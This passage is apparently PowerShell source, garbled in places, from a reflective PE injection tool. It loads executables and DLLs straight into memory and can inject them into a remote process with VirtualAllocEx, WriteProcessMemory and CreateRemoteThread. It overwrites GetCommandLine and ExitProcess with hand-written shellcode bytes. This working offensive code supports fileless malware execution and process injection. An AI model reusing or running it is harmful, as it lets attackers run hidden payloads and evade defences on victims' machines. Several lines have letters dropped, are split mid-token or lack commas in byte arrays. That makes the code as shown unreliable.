$Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray +=,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
$ReturnArray +=,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)

#Overwrite GetCommandLineA
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]
($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}

$GetCommandLineAAddrTemp = $GetCommandLineAAddr

Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp


-----

$GetCo a d e dd e p dd S g ed t sU s g ed $GetCo a d e dd e p ($S e code e gt )
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp

$Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) |
Out-Null

#Overwrite GetCommandLineW
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]
($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}

$GetCommandLineWAddrTemp = $GetCommandLineWAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp

$Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) |
Out-Null
#################################################

#################################################
#For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't
work.
#  I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
#  It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
#  argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
$DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
, "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")

foreach ($Dll in $DllList)
{
[IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
if ($DllHandle -ne [IntPtr]::Zero)
{
[IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
[IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
{
"Error, couldn't find _wcmdln or _acmdln"
}

$NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
$NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)

#Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
$OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
$OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
$OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
$ReturnArray +=,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
$ReturnArray +=,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)


-----

$Success $ 3 u ct o s tua otect o e($ C d dd, [U t3 ]$ t S e, [U t3 ]
($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null

$Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]
($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
}
}
#################################################

#################################################
#Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE
exits.

$ReturnArray = @()
$ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process

#CorExitProcess (compiled in to visual studio c++)
[IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
if ($MscoreeHandle -eq [IntPtr]::Zero)
{
throw "mscoree handle null"
}
[IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
if ($CorExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "CorExitProcess address not found"
}
$ExitFunctions += $CorExitProcessAddr

#ExitProcess (what non-managed programs use)
[IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
if ($ExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "ExitProcess address not found"
}
$ExitFunctions += $ExitProcessAddr

[UInt32]$OldProtectFlag = 0
foreach ($ProcExitFunctionAddr in $ExitFunctions)
{
$ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
#The following is the shellcode (Shellcode: ExitThread.asm):
#32bit shellcode
[Byte[]]$Shellcode1 = @(0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
#64bit shellcode (Shellcode: ExitThread.asm)
if ($PtrSize -eq 8)
{
[Byte[]]$Shellcode1 = @(0x48, 0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)

}


-----

[ yte[]]$S e code3 @(0, 0 d3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length

[IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
if ($ExitThreadAddr -eq [IntPtr]::Zero)
{
Throw "ExitThread address not found"
}

$Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize,

[UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}

#Make copy of original ExitProcess bytes
$ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray +=,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)

#Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done),
then
#  call ExitThread
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp

$Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) |
Out-Null
}
#################################################

Write-Output $ReturnArray
}

#This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
#  It copies Count bytes from Source to Destination.
Function Copy-ArrayOfMemAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Array[]]
$CopyInfo,

[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,

[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)

[UInt32]$OldProtectFlag = 0
foreach ($Info in $CopyInfo)

{


-----

$Success $ 3 u ct o s tua otect o e($ o[0], [U t3 ]$ o[ ],

[UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}

$Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null

$Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
}

#####################################
##########  FUNCTIONS ###########
#####################################
Function Get-MemoryProcAddress
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,

[Parameter(Position = 1, Mandatory = $true)]
[String]
$FunctionName
)

$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants

#Get the export table
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
{
return [IntPtr]::Zero
}
$ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
$ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr,

[Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)

for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
{
#AddressOfNames is an array of pointers to strings of the names of the functions exported
$NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i *

[System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr,

[Type][UInt32]))
$Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)

if ($Name -ceq $FunctionName)
{
#AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
#  which contains the offset of the function in to the DLL
$OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i *

[System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
$FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
$FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex *

[System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
}

}


-----

return [IntPtr]::Zero
}

Function Invoke-MemoryLoadLibrary
{
Param(

[Parameter(Position = 0, Mandatory = $false)]
[String]
$ExeArgs,

[Parameter(Position = 1, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle,

[Parameter(Position = 2)]
[Bool]
$ForceASLR = $false
)

$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])

#Get Win32 constants and functions
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types

$RemoteLoading = $false
if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$RemoteLoading = $true
}

#Get basic PE information
#Write-Verbose "Getting basic PE information from the file"
$PEInfo = Get-PEBasicInfo -Win32Types $Win32Types
$OriginalImageBase = $PEInfo.OriginalImageBase
$NXCompatible = $true
if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne
$Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
{
##Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
$NXCompatible = $false
}

#Verify that the PE and the current process are the same bits (32bit or 64bit)
$Process64Bit = $true
if ($RemoteLoading -eq $true)
{
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
if ($Result -eq [IntPtr]::Zero)
{
Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
}

[Bool]$Wow64Process = $false
$Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
if ($Success -eq $false)
{

Throw "Call to IsWow64Process failed"


-----

}

if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]

[IntPtr]) -eq 4)))
{
$Process64Bit = $false
}

#PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
$PowerShell64Bit = $true
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{
$PowerShell64Bit = $false
}
if ($PowerShell64Bit -ne $Process64Bit)
{
throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
}
}
else
{
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
{
$Process64Bit = $false
}
}
if ($Process64Bit -ne $PEInfo.PE64Bit)
{
Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
}

#Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
#Write-Verbose "Allocating memory for the PE and write its headers to memory"

#ASLR check
[IntPtr]$LoadAddr = [IntPtr]::Zero
$PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq
$Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
if ((-not $ForceASLR) -and (-not $PESupportsASLR))
{
#Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again
OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
[IntPtr]$LoadAddr = $OriginalImageBase
}
elseif ($ForceASLR -and (-not $PESupportsASLR))
{
#Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
}

if ($ForceASLR -and $RemoteLoading)
{
#Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
}
if ($RemoteLoading -and (-not $PESupportsASLR))
{
#Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
}

$PEHandle = [IntPtr]::Zero        #This is where the PE is allocated in PowerShell
$EffectivePEHandle = [IntPtr]::Zero    #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle.
If it is loaded in a remote process, this is the address in the remote process.
if ($RemoteLoading -eq $true)

{


-----

# ocate space t e e ote p ocess, a d a so a ocate space o e S e e be setup o e S e a d cop ed to t e
remote process when it is setup
$PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor
$Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)

#todo, error handling needs to delete this memory if an error happens along the way
$EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage,
$Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($EffectivePEHandle -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the
requested base address of the PE is already in use"
}
}
else
{
if ($NXCompatible -eq $true)
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
}
else
{
$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
}
$EffectivePEHandle = $PEHandle
}

[IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
if ($PEHandle -eq [IntPtr]::Zero)
{
Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process
(the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
}
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null

#Now that the PE is in memory, get more detailed information about it
#Write-Verbose "Getting detailed PE information from the headers loaded in memory"
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
$PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
$PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
#Write-Verbose "StartAddress: $(Get-Hex $PEHandle)  EndAddress: $(Get-Hex $PEEndAddress)"

#Copy each section from the PE in to memory
#Write-Verbose "Copy PE sections in to memory"
Copy-Sections -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types

#Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it
was actually loaded
#Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types
$Win32Types

#The PE we are in-memory loading has DLLs it needs, import those DLLs for it
#Write-Verbose "Import DLL's needed by the PE we are loading"
if ($RemoteLoading -eq $true)
{
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants RemoteProcHandle $RemoteProcHandle


-----

}
else
{
Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
}

#Update the memory protection flags for all the memory just allocated
if ($RemoteLoading -eq $false)
{
if ($NXCompatible -eq $true)
{
#Write-Verbose "Update memory protection flags"
Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants Win32Types $Win32Types
}
else
{
#Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
}
}
else
{
#Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
}

#If remote loading, copy the DLL in to remote process memory
if ($RemoteLoading -eq $true)
{
[UInt32]$NumBytesWritten = 0
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]
($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write shellcode to remote process memory."
}
}

#Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
if ($PEInfo.FileType -ieq "DLL")
{
if ($RemoteLoading -eq $false)
{
#Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle)
($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)

$DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
}
else
{
$DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle)
($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)

if ($PEInfo.PE64Bit -eq $true)
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)

$CallDllMainSC3 = @(0xff 0xd0 0x48 0x89 0xdc 0x5b 0xc3)


-----

}
else
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem

Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)

$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength,
$Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}

$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr]

[UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}

$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions
$Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}

$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) |
Out-Null
}
}
elseif ($PEInfo.FileType -ieq "EXE")
{
#Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS
process
[IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
[System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
$OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
-ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr

#If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
#  This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle)
($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
#Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."


-----

$ 3 u ct o s C eate ead o e([ t t ] e o, [ t t ] e o, $ e a t, [ t t ] e o, ([U t3 ]0), [ e ]([U t3 ]0)) | Out u

$PEBytes = $null

#Write-Host 'Executing...'

[GC]::Collect()

while($true)
{
[Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
if ($ThreadDone -eq 1)
{
Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants
$Win32Constants
break
}
else
{
Start-Sleep -Seconds 1
}
}
}

return @($PEInfo.PEHandle, $EffectivePEHandle)
}

Function Invoke-MemoryFreeLibrary
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$PEHandle
)

#Get Win32 constants and functions
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types

$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants

#Call FreeLibrary for all the imports of the DLL
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle)
([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)

while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr,

[Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)

#If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
#Write-Verbose "Done unloading the libraries needed by the PE"
break

}


-----

$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle)
([Int64]$ImportDescriptor.Name)))
$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)

if ($ImportDllHandle -eq $null)
{
#Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction
Continue
}

$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
if ($Success -eq $false)
{
#Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
}

$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr)
([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}

#Call DllMain with process detach
#Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)

$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null

